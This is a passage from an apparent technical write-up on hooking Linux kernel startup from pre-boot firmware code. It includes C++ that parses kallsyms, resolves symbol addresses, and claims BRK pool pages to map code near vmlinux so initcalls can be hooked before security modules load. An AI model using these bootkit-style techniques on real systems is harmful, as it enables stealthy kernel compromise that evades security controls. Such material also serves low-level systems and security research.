</span></span><span class="line"><span class="cl">  <span class="n">offs</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">int32_t</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">offsets_address</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pt</span><span class="o">::</span><span class="n">is_range_mapped</span><span class="p">(</span><span class="n">offsets_address</span><span class="p">,</span> <span class="n">offsets_size</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// is_valid_kallsyms_offsets casts offs to &lt;uintptr_t *&gt; when TRAIT_ADDR_ABSOLUTE
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">heuristic</span><span class="o">::</span><span class="n">is_valid_kallsyms_offsets</span><span class="p">(</span><span class="n">offs</span><span class="p">,</span> <span class="n">lo</span><span class="o">-&gt;</span><span class="n">num_syms</span><span class="p">,</span> <span class="n">TRAIT_ADDR_ABSOLUTE</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">lo</span><span class="o">-&gt;</span><span class="n">addresses</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">offs</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">lo</span><span class="o">-&gt;</span><span class="n">kallsyms_relative_base</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">lo</span><span class="o">-&gt;</span><span class="n">traits</span> <span class="o">|=</span> <span class="n">TRAIT_ADDR_ABSOLUTE</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>To parse it, iterate and match. With traits, we have the correct members dispositions. It&rsquo;s a manual reimplementation of <code>kallsyms_lookup_name</code> but solely for vmlinux symbols.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="n">kallsyms</span><span class="o">::</span><span class="n">kallsyms_err_t</span> <span class="n">kallsyms</span><span class="o">::</span><span class="n">find_by_name</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">name</span><span class="p">,</span> <span class="n">uintptr_t</span> <span class="o">*</span><span class="n">address</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                                <span class="kt">uint32_t</span> <span class="n">query_mode</span><span class="p">,</span> <span class="kt">char</span> <span class="n">wanted_type</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                                <span class="kt">char</span> <span class="o">*</span><span class="n">found_type</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">kallsyms_err_t</span> <span class="n">ret</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">bool</span> <span class="n">found</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">ret</span> <span class="o">=</span> <span class="n">KALLSYMS_ERROR</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">for_each</span><span class="p">([</span><span class="o">&amp;</span><span class="p">](</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">current_name</span><span class="p">,</span> <span class="n">uintptr_t</span> <span class="n">addr</span><span class="p">,</span> <span class="kt">char</span> <span class="n">type</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="kt">bool</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">uintptr_t</span> <span class="n">val</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">query_mode</span> <span class="o">&amp;</span> <span class="n">KALLSYMS_QUERY_FOR_TYPE</span> <span class="o">&amp;&amp;</span> <span class="n">type</span> <span class="o">!=</span> <span class="n">wanted_type</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">query_mode</span> <span class="o">&amp;</span> <span class="n">KALLSYMS_QUERY_FOR_GLOBAL</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="p">(</span><span class="n">type</span> <span class="o">&gt;=</span> <span class="sc">&#39;A&#39;</span> <span class="o">&amp;&amp;</span> <span class="n">type</span> <span class="o">&lt;=</span> <span class="sc">&#39;Z&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">query_mode</span> <span class="o">&amp;</span> <span class="n">KALLSYMS_QUERY_FOR_LOCAL</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="p">(</span><span class="n">type</span> <span class="o">&gt;=</span> <span class="sc">&#39;a&#39;</span> <span class="o">&amp;&amp;</span> <span class="n">type</span> <span class="o">&lt;=</span> <span class="sc">&#39;z&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">query_mode</span> <span class="o">&amp;</span> <span class="n">KALLSYMS_QUERY_FOR_CODE</span> <span class="o">&amp;&amp;</span> <span class="n">type</span> <span class="o">!=</span> <span class="sc">&#39;T&#39;</span> <span class="o">&amp;&amp;</span> <span class="n">type</span> <span class="o">!=</span> <span class="sc">&#39;t&#39;</span> <span class="o">&amp;&amp;</span> <span class="n">type</span> <span class="o">!=</span> <span class="sc">&#39;W&#39;</span> <span class="o">&amp;&amp;</span>
</span></span><span class="line"><span class="cl">        <span class="n">type</span> <span class="o">!=</span> <span class="sc">&#39;w&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">query_mode</span> <span class="o">&amp;</span> <span class="n">KALLSYMS_QUERY_FOR_DATA</span> <span class="o">&amp;&amp;</span> <span class="n">type</span> <span class="o">!=</span> <span class="sc">&#39;D&#39;</span> <span class="o">&amp;&amp;</span> <span class="n">type</span> <span class="o">!=</span> <span class="sc">&#39;d&#39;</span> <span class="o">&amp;&amp;</span> <span class="n">type</span> <span class="o">!=</span> <span class="sc">&#39;B&#39;</span> <span class="o">&amp;&amp;</span>
</span></span><span class="line"><span class="cl">        <span class="n">type</span> <span class="o">!=</span> <span class="sc">&#39;b&#39;</span> <span class="o">&amp;&amp;</span> <span class="n">type</span> <span class="o">!=</span> <span class="sc">&#39;R&#39;</span> <span class="o">&amp;&amp;</span> <span class="n">type</span> <span class="o">!=</span> <span class="sc">&#39;r&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">query_mode</span> <span class="o">&amp;</span> <span class="n">KALLSYMS_QUERY_FOR_WEAK</span> <span class="o">&amp;&amp;</span> <span class="n">type</span> <span class="o">!=</span> <span class="sc">&#39;W&#39;</span> <span class="o">&amp;&amp;</span> <span class="n">type</span> <span class="o">!=</span> <span class="sc">&#39;w&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">query_mode</span> <span class="o">&amp;</span> <span class="n">KALLSYMS_QUERY_FOR_RODATA</span> <span class="o">&amp;&amp;</span> <span class="n">type</span> <span class="o">!=</span> <span class="sc">&#39;R&#39;</span> <span class="o">&amp;&amp;</span> <span class="n">type</span> <span class="o">!=</span> <span class="sc">&#39;r&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">AsciiStrCmp</span><span class="p">(</span><span class="n">current_name</span><span class="p">,</span> <span class="n">name</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">val</span> <span class="o">=</span> <span class="n">addr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">query_mode</span> <span class="o">&amp;</span> <span class="n">KALLSYMS_QUERY_DEREF_IF_PTR</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pt</span><span class="o">::</span><span class="n">is_page_present</span><span class="p">(</span><span class="n">val</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">        <span class="n">ret</span> <span class="o">=</span> <span class="n">KALLSYMS_SECONDARY_SUCCESS</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="k">else</span> <span class="nf">if</span> <span class="p">(</span><span class="n">type</span> <span class="o">==</span> <span class="sc">&#39;D&#39;</span> <span class="o">||</span> <span class="n">type</span> <span class="o">==</span> <span class="sc">&#39;d&#39;</span> <span class="o">||</span> <span class="n">type</span> <span class="o">==</span> <span class="sc">&#39;B&#39;</span> <span class="o">||</span> <span class="n">type</span> <span class="o">==</span> <span class="sc">&#39;b&#39;</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">val</span> <span class="o">=</span> <span class="o">*</span><span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">addr</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">ret</span> <span class="o">=</span> <span class="n">KALLSYMS_SUCCESS</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span>
</span></span><span class="line"><span class="cl">      <span class="n">ret</span> <span class="o">=</span> <span class="n">KALLSYMS_SUCCESS</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">found_type</span> <span class="o">!=</span> <span class="k">nullptr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="o">*</span><span class="n">found_type</span> <span class="o">=</span> <span class="n">type</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="o">*</span><span class="n">address</span> <span class="o">=</span> <span class="n">val</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">found</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="n">ret</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>To expand a kallsyms name, concatenate every substring in the token table pointed by the token indexes of the current symbol. It&rsquo;s a compaction mechanism of the kallsyms, some substrings such as &ldquo;_sys&rdquo; are sufficiently common so a uint16_t can represent it, saving space.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">kallsyms</span><span class="o">::</span><span class="n">get_name</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">buf</span><span class="p">,</span> <span class="n">size_t</span> <span class="n">buf_size</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">names_offset</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">type</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">entry</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">uint32_t</span> <span class="n">tokens</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">int</span> <span class="n">buf_pos</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">buf</span> <span class="o">||</span> <span class="o">!</span><span class="n">buf_size</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">entry</span> <span class="o">=</span> <span class="n">ksms</span><span class="p">.</span><span class="n">names</span> <span class="o">+</span> <span class="n">names_offset</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">tokens</span> <span class="o">=</span> <span class="n">get_length</span><span class="p">(</span><span class="n">entry</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">buf_pos</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">for</span> <span class="p">(</span><span class="kt">uint32_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">tokens</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">token</span> <span class="o">=</span> <span class="n">ksms</span><span class="p">.</span><span class="n">token_table</span> <span class="o">+</span> <span class="n">ksms</span><span class="p">.</span><span class="n">token_index</span><span class="p">[</span><span class="n">entry</span><span class="p">[</span><span class="n">i</span><span class="p">]];</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">k</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">token</span><span class="p">[</span><span class="n">k</span><span class="p">];</span> <span class="n">k</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="c1">// first byte is the type
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>      <span class="k">if</span> <span class="p">(</span><span class="n">k</span> <span class="o">==</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">i</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">type</span> <span class="o">!=</span> <span class="k">nullptr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">          <span class="o">*</span><span class="n">type</span> <span class="o">=</span> <span class="n">token</span><span class="p">[</span><span class="n">k</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">        <span class="k">continue</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">      <span class="k">if</span> <span class="p">(</span><span class="n">buf_pos</span> <span class="o">&lt;</span> <span class="n">buf_size</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">buf</span><span class="p">[</span><span class="n">buf_pos</span><span class="p">]</span> <span class="o">=</span> <span class="n">token</span><span class="p">[</span><span class="n">k</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">      <span class="n">buf_pos</span><span class="o">++</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">buf_pos</span> <span class="o">&lt;</span> <span class="n">buf_size</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">buf</span><span class="p">[</span><span class="n">buf_pos</span><span class="p">]</span> <span class="o">=</span> <span class="sc">&#39;\0&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">else</span>
</span></span><span class="line"><span class="cl">    <span class="n">buf</span><span class="p">[</span><span class="n">buf_size</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="sc">&#39;\0&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="n">buf_pos</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>As previously described, name length is either an U8 or ULEB128. The trait system tells us which is it.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="kt">uint32_t</span> <span class="n">kallsyms</span><span class="o">::</span><span class="n">get_length</span><span class="p">(</span><span class="kt">uint8_t</span> <span class="o">*&amp;</span><span class="n">c</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kt">uint32_t</span> <span class="n">len</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">ksms</span><span class="p">.</span><span class="n">traits</span> <span class="o">&amp;</span> <span class="n">TRAIT_NAME_LEN_U8</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">len</span> <span class="o">=</span> <span class="k">static_cast</span><span class="o">&lt;</span><span class="kt">uint32_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">c</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">    <span class="n">c</span><span class="o">++</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">len</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">len</span> <span class="o">=</span> <span class="k">static_cast</span><span class="o">&lt;</span><span class="kt">uint32_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">c</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">&amp;</span> <span class="mb">0b01111111</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// ULEB128 signals a following byte if MSB is set. Linux kernel limits
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// size to 0x3FFF, 2 bytes and unlikely to ever need increasing
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// https://elixir.bootlin.com/linux/v6.9.7/source/scripts/kallsyms.c#L432
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">if</span> <span class="p">(</span><span class="n">c</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">&amp;</span> <span class="mb">0b10000000</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">len</span> <span class="o">|=</span> <span class="k">static_cast</span><span class="o">&lt;</span><span class="kt">uint32_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">c</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">&lt;&lt;</span> <span class="mi">7</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">c</span><span class="o">++</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">c</span><span class="o">++</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="n">len</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>My version-agnostic equivalent of <a href="https://elixir.bootlin.com/linux/v6.9.7/source/kernel/kallsyms.c#L149">kallsyms_sym_address</a> does the resolution based on the inferred traits:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="n">uintptr_t</span> <span class="n">kallsyms</span><span class="o">::</span><span class="n">get_address</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">idx</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">ksms</span><span class="p">.</span><span class="n">traits</span> <span class="o">&amp;</span> <span class="n">TRAIT_ADDR_SELF_DISPLACED</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ksms</span><span class="p">.</span><span class="n">offsets</span><span class="p">[</span><span class="n">idx</span><span class="p">])</span> <span class="o">+</span> <span class="n">ksms</span><span class="p">.</span><span class="n">offsets</span><span class="p">[</span><span class="n">idx</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">ksms</span><span class="p">.</span><span class="n">traits</span> <span class="o">&amp;</span> <span class="n">TRAIT_ADDR_BASE_DISPLACED</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">ksms</span><span class="p">.</span><span class="n">traits</span> <span class="o">&amp;</span> <span class="n">TRAIT_ADDR_ABSOLUTE_PERCPU</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="c1">// https://elixir.bootlin.com/linux/v6.9.7/source/kernel/kallsyms.c#L159
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>      <span class="c1">// https://elixir.bootlin.com/linux/v6.9.7/source/kernel/kallsyms.c#L163
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>      <span class="k">if</span> <span class="p">(</span><span class="n">ksms</span><span class="p">.</span><span class="n">offsets</span><span class="p">[</span><span class="n">idx</span><span class="p">]</span> <span class="o">&gt;=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="k">static_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">ksms</span><span class="p">.</span><span class="n">offsets</span><span class="p">[</span><span class="n">idx</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="n">ksms</span><span class="p">.</span><span class="n">kallsyms_relative_base</span> <span class="o">-</span> <span class="mi">1</span> <span class="o">-</span> <span class="n">ksms</span><span class="p">.</span><span class="n">offsets</span><span class="p">[</span><span class="n">idx</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// https://elixir.bootlin.com/linux/v6.9.7/source/kernel/kallsyms.c#L156
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">return</span> <span class="n">ksms</span><span class="p">.</span><span class="n">kallsyms_relative_base</span> <span class="o">+</span> <span class="k">static_cast</span><span class="o">&lt;</span><span class="kt">uint32_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">ksms</span><span class="p">.</span><span class="n">offsets</span><span class="p">[</span><span class="n">idx</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="n">ksms</span><span class="p">.</span><span class="n">addresses</span><span class="p">[</span><span class="n">idx</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>And to find and setup kallsyms from <code>startup_64</code> hook:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">kallsyms</span><span class="o">::</span><span class="n">find_layout</span><span class="p">(</span><span class="n">vmlinux</span><span class="o">::</span><span class="n">base</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">dbg</span><span class="o">::</span><span class="n">serial_print</span><span class="p">(</span><span class="s">&#34;Failed to locate kallsyms</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">STARTUP_64_HOOK_RETURN_STUB</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">__builtin_unreachable</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>With that, nearly anything can be done from a very early phase. We&rsquo;ll need to resolve addresses of functions that sits in our way of having a permament non-EfiRuntimeServicesCode mapping within 2GiB of vmlinux so we are able to hook initcalls, which are usually signed 32-bit displacements.</p>
<h3 id="brk-pool-and-permanent-mapping">BRK pool and permanent mapping</h3>
<p>The Linux BRK pool is a region for early page table allocations, respected and tracked before <code>SetVirtualAddressMap</code>. Since its tracked and owned by the kernel, functions that do page walking (such as the <code>ptdump</code> family) won&rsquo;t fault when walking our mapping at pgd 511. Using the reserved EFI frame pool wouldn&rsquo;t work unless we did <code>memblock_reserve</code> on this pool. However, since we do all this from very early before kernel full initialization in a <code>startup_64</code> hook, <code>memblock_reserve</code> faults for several reasons. Therefore, BRK pool is the ideal choice here. With kallsyms, finding and accessing it is trivial:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="n">kallsyms</span><span class="o">::</span><span class="n">find_by_name</span><span class="p">(</span><span class="s">&#34;_brk_end&#34;</span><span class="p">,</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span> <span class="o">*&gt;</span><span class="p">(</span><span class="o">&amp;</span><span class="n">brk</span><span class="p">.</span><span class="n">brk_end</span><span class="p">))</span> <span class="o">!=</span>
</span></span><span class="line"><span class="cl">    <span class="n">kallsyms</span><span class="o">::</span><span class="n">KALLSYMS_SUCCESS</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">dbg</span><span class="o">::</span><span class="n">serial_print</span><span class="p">(</span><span class="s">&#34;Could not find _brk_end</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="n">kallsyms</span><span class="o">::</span><span class="n">find_by_name</span><span class="p">(</span><span class="s">&#34;__brk_limit&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">brk</span><span class="p">.</span><span class="n">brk_limit</span><span class="p">)</span> <span class="o">!=</span> <span class="n">kallsyms</span><span class="o">::</span><span class="n">KALLSYMS_SUCCESS</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">dbg</span><span class="o">::</span><span class="n">serial_print</span><span class="p">(</span><span class="s">&#34;Could not find __brk_limit</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p><code>_brk_end</code> returns the address of the variable containing the current pointer of used brk pool end, __brk_limit returns the brk limit. <code>*_brk_end += EFI_PAGE_SIZE</code> for each frame allocated up to <code>__brk_limit</code></p>
<p>We want to sit within 2GiB of vmlinux so we can hook the initcall table, a sweet spot after the kernel has been initialized but usermode hasn&rsquo;t, Early initcalls happen before security modules are loaded. The reason we need to be less than 2GiB apart is that the initcall table is usually a list of 32-bit relative displacements to functions. We choose an unused space in <code>START_KERNEL_map</code> range. <code>__init_scratch_end</code> is yet unmapped here but we should not intersect with it. It&rsquo;s typically 4MiB long and sit right after <code>etext</code>. Find it, if it exists in this version:</p>
